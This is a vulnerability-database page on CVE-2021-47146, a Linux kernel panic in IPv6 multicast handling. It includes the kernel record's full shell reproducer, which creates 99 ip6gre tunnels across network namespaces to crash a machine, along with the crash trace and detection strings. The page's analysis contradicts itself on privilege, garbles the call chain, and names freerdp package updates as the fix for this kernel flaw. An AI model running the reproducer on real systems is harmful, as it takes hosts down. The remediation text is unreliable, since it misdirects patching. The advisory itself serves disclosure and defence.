Cloudanix VulnDB

CVE-2021-47146

None

CVSS

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EPSS

0.2%

Published

Mar 25, 2024

CISA due date

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Cloudanix analysis

Schedule a fix SSVC: Track

A flaw in how the operating system handles certain network messages can cause the whole machine to crash when many network connections are created.

Exploitation
Local Privilege
Attacker needs
High Privilege
Complexity
High
Impact
Denial Of Service
Component
OS kernel
Class
Buffer Overflow
Remediation
Upgrade
Effort
Medium
Patch risk
Low

What it actually does

mld_newpack() restricts allocation to order-0 pages only; when headroom exceeds available space a call to skb_put() triggers a kernel panic via invalid opcode in skbuff.c.

Why it matters to the business

Unprivileged local or adjacent IPv6 network activity can crash affected systems, causing denial of service; the flaw is present in widely used Linux distributions with high downstream prevalence, increasing operational risk and potential service outages.

How an attack unfolds

An attacker creates numerous ip6gre interfaces with large encaplimit values inside network namespaces, triggering IPv6 DAD completion that calls add_grec o mld_newpack o skb_put with oversized headroom, resulting in the documented kernel BUG and panic.

How to fix it

Update to fixed kernel versions that permit high-order page allocation in mld_newpack; for AlmaLinux 8 packages apply freerdp 2:2.2.0-7.el8_5 (or later) and reboot; backport the allocation fix to custom kernels if source is available.

How to confirm the fix worked

Confirm kernel version after update; reproduce the test command sequence in a lab and verify absence of skb_panic; inspect /proc/config.gz for CONFIG_IPV6=y and test multicast listener behavior under high interface counts.

Typical attack path

  1. Create multiple network namespaces and veth pairs
  2. Add many ip6gre tunnels with encaplimit 100 and large address blocks
  3. Trigger IPv6 DAD via interface bring-up or address assignment
  4. mld_send_initial_cr calls mld_newpack which fails allocation and panics in skb_put

How to detect it

Search kernel logs for 'kernel BUG at net/core/skbuff.c' and 'skb_panic' around addrconf_dad_work; inspect audit logs for rapid creation of ip6gre interfaces or netns operations preceding the crash.

  • kernel BUG at net/core/skbuff.c:110
  • skb_panic+0x15d
  • mld_newpack+0x398
  • addrconf_dad_work
  • ip6_mc_hdr.isra

What your security team should do

  • Prioritize patching systems exposed to IPv6 multicast or frequent interface creation within 48 hours given kernel-level impact
  • Apply the listed freerdp 2:2.2.0-7.el8_5 updates across AlmaLinux 8 fleets and schedule reboots
  • Monitor EPSS trend (stable at 0.0024) and re-evaluate if new PoCs appear
  • Restrict unprivileged namespace creation via user namespaces where feasible

The record

In the Linux kernel, the following vulnerability has been resolved: mld: fix panic in mld_newpack() mld_newpack() doesn't allow to allocate high order page, only order-0 allocation is allowed. If headroom size is too large, a kernel panic could occur in skb_put(). Test commands: ip netns del A ip netns del B ip netns add A ip netns add B ip link add veth0 type veth peer name veth1 ip link set veth0 netns A ip link set veth1 netns B ip netns exec A ip link set lo up ip netns exec A ip link set veth0 up ip netns exec A ip -6 a a 2001:db8:0::1/64 dev veth0 ip netns exec B ip link set lo up ip netns exec B ip link set veth1 up ip netns exec B ip -6 a a 2001:db8:0::2/64 dev veth1 for i in {1..99} do let A=$i-1 ip netns exec A ip link add ip6gre$i type ip6gre \ local 2001:db8:$A::1 remote 2001:db8:$A::2 encaplimit 100 ip netns exec A ip -6 a a 2001:db8:$i::1/64 dev ip6gre$i ip netns exec A ip link set ip6gre$i up ip netns exec B ip link add ip6gre$i type ip6gre \ local 2001:db8:$A::2 remote 2001:db8:$A::1 encaplimit 100 ip netns exec B ip -6 a a 2001:db8:$i::2/64 dev ip6gre$i ip netns exec B ip link set ip6gre$i up done Splat looks like: kernel BUG at net/core/skbuff.c:110! invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN PTI CPU: 0 PID: 7 Comm: kworker/0:1 Not tainted 5.12.0+ #891 Workqueue: ipv6_addrconf addrconf_dad_work RIP: 0010:skb_panic+0x15d/0x15f Code: 92 fe 4c 8b 4c 24 10 53 8b 4d 70 45 89 e0 48 c7 c7 00 ae 79 83 41 57 41 56 41 55 48 8b 54 24 a6 26 f9 ff <0f> 0b 48 8b 6c 24 20 89 34 24 e8 4a 4e 92 fe 8b 34 24 48 c7 c1 20 RSP: 0018:ffff88810091f820 EFLAGS: 00010282 RAX: 0000000000000089 RBX: ffff8881086e9000 RCX: 0000000000000000 RDX: 0000000000000089 RSI: 0000000000000008 RDI: ffffed1020123efb RBP: ffff888005f6eac0 R08: ffffed1022fc0031 R09: ffffed1022fc0031 R10: ffff888117e00187 R11: ffffed1022fc0030 R12: 0000000000000028 R13: ffff888008284eb0 R14: 0000000000000ed8 R15: 0000000000000ec0 FS: 0000000000000000(0000) GS:ffff888117c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f8b801c5640 CR3: 0000000033c2c006 CR4: 00000000003706f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? ip6_mc_hdr.isra.26.constprop.46+0x12a/0x600 ? ip6_mc_hdr.isra.26.constprop.46+0x12a/0x600 skb_put.cold.104+0x22/0x22 ip6_mc_hdr.isra.26.constprop.46+0x12a/0x600 ? rcu_read_lock_sched_held+0x91/0xc0 mld_newpack+0x398/0x8f0 ? ip6_mc_hdr.isra.26.constprop.46+0x600/0x600 ? lock_contended+0xc40/0xc40 add_grhead.isra.33+0x280/0x380 add_grec+0x5ca/0xff0 ? mld_sendpack+0xf40/0xf40 ? lock_downgrade+0x690/0x690 mld_send_initial_cr.part.34+0xb9/0x180 ipv6_mc_dad_complete+0x15d/0x1b0 addrconf_dad_completed+0x8d2/0xbb0 ? lock_downgrade+0x690/0x690 ? addrconf_rs_timer+0x660/0x660 ? addrconf_dad_work+0x73c/0x10e0 addrconf_dad_work+0x73c/0x10e0 Allowing high order page allocation could fix this problem.

Affected packages

Ecosystem Package Introduced Fixed
Debian:11 linux 0 5.10.46-1
Debian:12 linux 0 5.14.6-1
Debian:13 linux 0 5.14.6-1
SUSE:Linux Enterprise High Availability Extension 12 SP5 kernel-default 0 4.12.14-122.216.1
SUSE:Linux Enterprise Live Patching 12 SP5 kernel-default 0 4.12.14-122.216.1
SUSE:Linux Enterprise Live Patching 12 SP5 kgraft-patch-SLE12-SP5_Update_56 0 1-8.3.1
SUSE:Linux Enterprise Real Time 12 SP5 kernel-rt 0 4.12.14-10.182.1
SUSE:Linux Enterprise Real Time 12 SP5 kernel-rt_debug 0 4.12.14-10.182.1
SUSE:Linux Enterprise Real Time 12 SP5 kernel-source-rt 0 4.12.14-10.182.1
SUSE:Linux Enterprise Real Time 12 SP5 kernel-syms-rt 0 4.12.14-10.182.1
SUSE:Linux Enterprise Server 12 SP5 kernel-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Server 12 SP5 kernel-default 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server 12 SP5 kernel-source 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server 12 SP5 kernel-source-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Server 12 SP5 kernel-syms 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server 12 SP5 kernel-syms-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-default 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-source 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-source-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-syms 0 4.12.14-122.216.1
SUSE:Linux Enterprise Server for SAP Applications 12 SP5 kernel-syms-azure 0 4.12.14-16.182.1
SUSE:Linux Enterprise Software Development Kit 12 SP5 kernel-docs 0 4.12.14-122.216.1
SUSE:Linux Enterprise Software Development Kit 12 SP5 kernel-obs-build 0 4.12.14-122.216.1
SUSE:Linux Enterprise Workstation Extension 12 SP5 kernel-default 0 4.12.14-122.216.1
Ubuntu:16.04:LTS linux-hwe-edge 0 No fix
Ubuntu:18.04:LTS linux 0 4.15.0-151.157
Ubuntu:18.04:LTS linux-aws 0 4.15.0-1109.116
Ubuntu:18.04:LTS linux-aws-5.0 0 No fix
Ubuntu:18.04:LTS linux-aws-5.3 0 No fix
Ubuntu:18.04:LTS linux-aws-5.4 0 5.4.0-1054.57~18.04.1
Ubuntu:18.04:LTS linux-azure 0 No fix
Ubuntu:18.04:LTS linux-azure-4.15 0 4.15.0-1121.134
Ubuntu:18.04:LTS linux-azure-5.3 0 No fix
Ubuntu:18.04:LTS linux-azure-5.4 0 5.4.0-1055.57~18.04.1
Ubuntu:18.04:LTS linux-azure-edge 0 No fix
Ubuntu:18.04:LTS linux-gcp 0 No fix
Ubuntu:18.04:LTS linux-gcp-4.15 0 4.15.0-1106.120
Ubuntu:18.04:LTS linux-gcp-5.3 0 No fix
Ubuntu:18.04:LTS linux-gcp-5.4 0 5.4.0-1049.53~18.04.1
Ubuntu:18.04:LTS linux-gke-4.15 0 No fix
Ubuntu:18.04:LTS linux-gke-5.4 0 No fix
Ubuntu:18.04:LTS linux-gkeop-5.4 0 No fix
Ubuntu:18.04:LTS linux-hwe 0 No fix
Ubuntu:18.04:LTS linux-hwe-5.4 0 5.4.0-80.90~18.04.1
Ubuntu:18.04:LTS linux-hwe-edge 0 No fix
Ubuntu:18.04:LTS linux-ibm-5.4 0 5.4.0-1010.11~18.04.2
Ubuntu:18.04:LTS linux-kvm 0 4.15.0-1097.99
Ubuntu:18.04:LTS linux-oem 0 No fix
Ubuntu:18.04:LTS linux-oracle 0 4.15.0-1078.86
Ubuntu:18.04:LTS linux-oracle-5.0 0 No fix
Ubuntu:18.04:LTS linux-oracle-5.3 0 No fix
Ubuntu:18.04:LTS linux-oracle-5.4 0 5.4.0-1052.56~18.04.1
Ubuntu:18.04:LTS linux-raspi-5.4 0 5.4.0-1041.45~18.04.1
Ubuntu:20.04:LTS linux 0 No fix
Ubuntu:20.04:LTS linux 0 5.4.0-80.90
Ubuntu:20.04:LTS linux-aws 0 No fix
Ubuntu:20.04:LTS linux-aws 0 5.4.0-1054.57
Ubuntu:20.04:LTS linux-aws-5.11 0 No fix
Ubuntu:20.04:LTS linux-aws-5.13 0 No fix
Ubuntu:20.04:LTS linux-aws-5.15 0 5.15.0-1014.18~20.04.1
Ubuntu:20.04:LTS linux-aws-5.8 0 No fix
Ubuntu:20.04:LTS linux-azure 0 No fix
Ubuntu:20.04:LTS linux-azure 0 5.4.0-1055.57
Ubuntu:20.04:LTS linux-azure-5.11 0 No fix
Ubuntu:20.04:LTS linux-azure-5.13 0 No fix
Ubuntu:20.04:LTS linux-azure-5.15 0 5.15.0-1007.8~20.04.1
Ubuntu:20.04:LTS linux-azure-5.8 0 No fix
Ubuntu:20.04:LTS linux-azure-fde 0 No fix
Ubuntu:20.04:LTS linux-azure-fde-5.15 0 5.15.0-1019.24~20.04.1.1
Ubuntu:20.04:LTS linux-bluefield 0 No fix
Ubuntu:20.04:LTS linux-bluefield 0 5.4.0-1016.19
Ubuntu:20.04:LTS linux-gcp 0 No fix
Ubuntu:20.04:LTS linux-gcp 0 5.4.0-1049.53
Ubuntu:20.04:LTS linux-gcp-5.11 0 No fix
Ubuntu:20.04:LTS linux-gcp-5.13 0 No fix
Ubuntu:20.04:LTS linux-gcp-5.15 0 5.15.0-1006.9~20.04.1
Ubuntu:20.04:LTS linux-gcp-5.8 0 No fix
Ubuntu:20.04:LTS linux-gke 0 No fix
Ubuntu:20.04:LTS linux-gke-5.15 0 No fix
Ubuntu:20.04:LTS linux-gkeop 0 No fix
Ubuntu:20.04:LTS linux-gkeop 0 5.4.0-1021.22
Ubuntu:20.04:LTS linux-gkeop-5.15 0 5.15.0-1003.5~20.04.2
Ubuntu:20.04:LTS linux-hwe-5.11 0 No fix
Ubuntu:20.04:LTS linux-hwe-5.13 0 No fix
Ubuntu:20.04:LTS linux-hwe-5.15 0 5.15.0-33.34~20.04.1
Ubuntu:20.04:LTS linux-hwe-5.8 0 No fix
Ubuntu:20.04:LTS linux-ibm 0 5.4.0-1003.4
Ubuntu:20.04:LTS linux-ibm-5.15 0 5.15.0-1033.36~20.04.1
Ubuntu:20.04:LTS linux-intel-5.13 0 No fix
Ubuntu:20.04:LTS linux-intel-iotg-5.15 0 5.15.0-1003.5~20.04.1
Ubuntu:20.04:LTS linux-iot 0 5.4.0-1001.3
Ubuntu:20.04:LTS linux-kvm 0 No fix
Ubuntu:20.04:LTS linux-kvm 0 5.4.0-1044.46
Ubuntu:20.04:LTS linux-lowlatency-hwe-5.15 0 5.15.0-33.34~20.04.1
Ubuntu:20.04:LTS linux-oem-5.10 0 No fix
Ubuntu:20.04:LTS linux-oem-5.13 0 No fix
Ubuntu:20.04:LTS linux-oem-5.14 0 No fix
Ubuntu:20.04:LTS linux-oem-5.6 0 No fix
Ubuntu:20.04:LTS linux-oracle 0 No fix
Ubuntu:20.04:LTS linux-oracle 0 5.4.0-1052.56
Ubuntu:20.04:LTS linux-oracle-5.11 0 No fix
Ubuntu:20.04:LTS linux-oracle-5.13 0 No fix
Ubuntu:20.04:LTS linux-oracle-5.15 0 5.15.0-1007.9~20.04.1
Ubuntu:20.04:LTS linux-oracle-5.8 0 No fix
Ubuntu:20.04:LTS linux-raspi 0 No fix
Ubuntu:20.04:LTS linux-raspi 0 5.4.0-1041.45
Ubuntu:20.04:LTS linux-raspi2 0 No fix
Ubuntu:20.04:LTS linux-riscv 0 No fix
Ubuntu:20.04:LTS linux-riscv-5.11 0 No fix
Ubuntu:20.04:LTS linux-riscv-5.15 0 5.15.0-1015.17~20.04.1
Ubuntu:20.04:LTS linux-riscv-5.8 0 No fix
Ubuntu:20.04:LTS linux-xilinx-zynqmp 0 5.4.0-1020.24
Ubuntu:22.04:LTS linux 0 5.13.0-19.19
Ubuntu:22.04:LTS linux-allwinner-5.19 0 No fix
Ubuntu:22.04:LTS linux-aws 0 5.13.0-1005.6
Ubuntu:22.04:LTS linux-aws-5.19 0 No fix
Ubuntu:22.04:LTS linux-aws-6.2 0 No fix
Ubuntu:22.04:LTS linux-aws-6.5 0 6.5.0-1008.8~22.04.1
Ubuntu:22.04:LTS linux-aws-6.8 0 6.8.0-1009.9~22.04.2
Ubuntu:22.04:LTS linux-azure 0 5.13.0-1006.7
Ubuntu:22.04:LTS linux-azure-5.19 0 No fix
Ubuntu:22.04:LTS linux-azure-6.2 0 No fix
Ubuntu:22.04:LTS linux-azure-6.5 0 6.5.0-1007.7~22.04.1
Ubuntu:22.04:LTS linux-azure-6.8 0 6.8.0-1008.8~22.04.1
Ubuntu:22.04:LTS linux-azure-fde 0 5.15.0-1019.24.1
Ubuntu:22.04:LTS linux-azure-fde-5.19 0 No fix
Ubuntu:22.04:LTS linux-azure-fde-6.2 0 No fix
Ubuntu:22.04:LTS linux-gcp 0 5.13.0-1005.6
Ubuntu:22.04:LTS linux-gcp-5.19 0 No fix
Ubuntu:22.04:LTS linux-gcp-6.2 0 No fix
Ubuntu:22.04:LTS linux-gcp-6.5 0 6.5.0-1010.10~22.04.3
Ubuntu:22.04:LTS linux-gcp-6.8 0 6.8.0-1010.11~22.04.1
Ubuntu:22.04:LTS linux-gke 0 5.15.0-1002.2
Ubuntu:22.04:LTS linux-gkeop 0 5.15.0-1001.2
Ubuntu:22.04:LTS linux-hwe-5.19 0 No fix
Ubuntu:22.04:LTS linux-hwe-6.2 0 No fix
Ubuntu:22.04:LTS linux-hwe-6.5 0 6.5.0-14.14~22.04.1
Ubuntu:22.04:LTS linux-hwe-6.8 0 6.8.0-38.38~22.04.1
Ubuntu:22.04:LTS linux-ibm 0 5.15.0-1002.2
Ubuntu:22.04:LTS linux-intel-iot-realtime 0 No fix
Ubuntu:22.04:LTS linux-intel-iot-realtime 0 5.15.0-1021.26
Ubuntu:22.04:LTS linux-intel-iotg 0 5.15.0-1004.6
Ubuntu:22.04:LTS linux-kvm 0 5.13.0-1004.4
Ubuntu:22.04:LTS linux-lowlatency 0 5.15.0-22.22
Ubuntu:22.04:LTS linux-lowlatency-hwe-5.19 0 No fix
Ubuntu:22.04:LTS linux-lowlatency-hwe-6.2 0 No fix
Ubuntu:22.04:LTS linux-lowlatency-hwe-6.5 0 6.5.0-14.14.1~22.04.1
Ubuntu:22.04:LTS linux-lowlatency-hwe-6.8 0 6.8.0-38.38.1~22.04.2
Ubuntu:22.04:LTS linux-nvidia 0 5.15.0-1005.5
Ubuntu:22.04:LTS linux-nvidia-6.2 0 No fix
Ubuntu:22.04:LTS linux-nvidia-6.5 0 6.5.0-1004.4
Ubuntu:22.04:LTS linux-nvidia-6.8 0 6.8.0-1008.8~22.04.1
Ubuntu:22.04:LTS linux-oem-5.17 0 No fix
Ubuntu:22.04:LTS linux-oem-6.0 0 No fix
Ubuntu:22.04:LTS linux-oem-6.1 0 No fix
Ubuntu:22.04:LTS linux-oem-6.5 0 6.5.0-1003.3
Ubuntu:22.04:LTS linux-oracle 0 5.13.0-1008.10
Ubuntu:22.04:LTS linux-oracle-6.5 0 6.5.0-1013.13~22.04.4
Ubuntu:22.04:LTS linux-oracle-6.8 0 6.8.0-1006.6~22.04.3
Ubuntu:22.04:LTS linux-raspi 0 5.13.0-1008.9
Ubuntu:22.04:LTS linux-realtime 0 No fix
Ubuntu:22.04:LTS linux-riscv 0 No fix
Ubuntu:22.04:LTS linux-riscv-5.19 0 No fix
Ubuntu:22.04:LTS linux-riscv-6.5 0 6.5.0-17.17.1.1~22.04.1
Ubuntu:22.04:LTS linux-riscv-6.8 0 6.8.0-38.38.1~22.04.1
Ubuntu:22.04:LTS linux-starfive-5.19 0 No fix
Ubuntu:22.04:LTS linux-starfive-6.2 0 No fix
Ubuntu:22.04:LTS linux-starfive-6.5 0 6.5.0-1007.8~22.04.1
Ubuntu:22.04:LTS linux-xilinx-zynqmp 0 5.15.0-1022.26
Ubuntu:22.04:LTS:for:NVIDIA:BlueField linux-bluefield 0 5.15.0-1011.13
Ubuntu:24.04:LTS linux 0 6.5.0-9.9
Ubuntu:24.04:LTS linux-aws 0 6.5.0-1008.8
Ubuntu:24.04:LTS linux-azure 0 6.5.0-1007.7
Ubuntu:24.04:LTS linux-gcp 0 6.5.0-1007.7
Ubuntu:24.04:LTS linux-gke 0 6.8.0-1003.5
Ubuntu:24.04:LTS linux-gkeop 0 6.8.0-1001.3
Ubuntu:24.04:LTS linux-ibm 0 6.5.0-1009.9
Ubuntu:24.04:LTS linux-lowlatency 0 6.5.0-9.9.1
Ubuntu:24.04:LTS linux-nvidia 0 6.8.0-1007.7
Ubuntu:24.04:LTS linux-nvidia-lowlatency 0 6.8.0-1009.9.1
Ubuntu:24.04:LTS linux-oem-6.11 0 6.11.0-1007.7
Ubuntu:24.04:LTS linux-oem-6.8 0 6.8.0-1003.3
Ubuntu:24.04:LTS linux-oracle 0 6.5.0-1010.10
Ubuntu:24.04:LTS linux-raspi 0 6.5.0-1005.7
Ubuntu:24.04:LTS linux-raspi-realtime 0 No fix
Ubuntu:24.04:LTS linux-raspi-realtime 0 6.7.0-2001.1
Ubuntu:24.04:LTS linux-realtime 0 6.8.0-1008.19
Ubuntu:24.04:LTS linux-riscv 0 6.5.0-9.9.1
Ubuntu:24.10 linux 0 6.8.0-31.31
Ubuntu:24.10 linux-aws 0 6.8.0-1008.8
Ubuntu:24.10 linux-azure 0 6.8.0-1007.7
Ubuntu:24.10 linux-gcp 0 6.8.0-1007.7
Ubuntu:24.10 linux-lowlatency 0 6.8.0-31.31.1
Ubuntu:24.10 linux-oracle 0 6.8.0-1005.5
Ubuntu:24.10 linux-raspi 0 6.8.0-1004.4
Ubuntu:24.10 linux-realtime 0 6.11.0-1001.1
Ubuntu:24.10 linux-riscv 0 6.8.0-31.31.1
Ubuntu:Pro:14.04:LTS linux 0 No fix
Ubuntu:Pro:14.04:LTS linux-aws 0 No fix

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